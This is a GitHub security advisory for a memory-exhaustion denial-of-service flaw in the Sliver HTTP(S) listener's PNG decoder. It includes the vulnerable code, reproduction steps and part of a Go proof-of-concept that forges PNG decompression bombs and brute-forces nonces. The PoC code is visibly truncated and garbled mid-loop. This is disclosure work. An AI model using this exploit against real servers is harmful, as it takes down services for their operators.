GitHub Advisoryadvisory · Go
GHSA-663m-7x7m-g4fw Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder
HIGH
Official page ↗
- Aliases
- CVE-2026-77622
- Ecosystem
- Go
- Packages
- github.com/BishopFox/sliver
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-770
- Reviewed
- 2026-10-15
Affected packages
• Go github.com/BishopFox/sliver: < 1.7.6 → fixed in 1.7.6
Description
Summary
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
Details
The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`
```go
const (
EncoderModulus = uint64(65537)
)
```
The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
`util/encoders/images.go`
```go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}
func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}
```
PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
```bash
git clone https://github.com/BishopFox/sliver.git
```
Build the Docker container:
```bash
cd sliver
docker build -t sliver-test:local -f Dockerfile .
```
Run the Docker container with a memory cap for example 4GB:
```bash
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local
```
After the Docker container starts, create an http listener on port 8080:
```bash
http -L 0.0.0.0 -l 8080
```
In a seperate terminal create the following Go project:
`go.mod`
```Go
module pngboomer
go 1.25
```
`poc.go`
```Go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"flag"
"fmt"
"hash/crc32"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"sort"
"sync"
"sync/atomic"
"time"
)
// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool
func col(code, s string) string {
if nocolor {
return s
}
return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string { return col("1", s) }
func D(s string) string { return col("2", s) }
func R(s string) string { return col("1;31", s) }
func G(s string) string { return col("1;32", s) }
func Y(s string) string { return col("1;33", s) }
func C(s string) string { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }
// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
out := make([]byte, 4, 12+len(data))
binary.BigEndian.PutUint32(out, uint32(len(data)))
out = append(out, typ...)
out = append(out, data...)
crc := crc32.NewIEEE()
crc.Write([]byte(typ))
crc.Write(data)
tail := make([]byte, 4)
binary.BigEndian.PutUint32(tail, crc.Sum32())
return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
bpp := 3
if ct == 6 {
bpp = 4
}
var zb bytes.Buffer
zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
row := make([]byte, 1+bpp*W)
for i := 0; i 0 && peakMB > *capMB/2 {
fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
R("[X] safety:"), peakMB, *capMB)
os.Exit(2)
}
probe := makePNG(*probeW, *probeH, *probeCT)
kill := makePNG(*killW, *killH, *killCT)
hp := hostPort(*target)
…
Related
Alias · not in database (1)
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness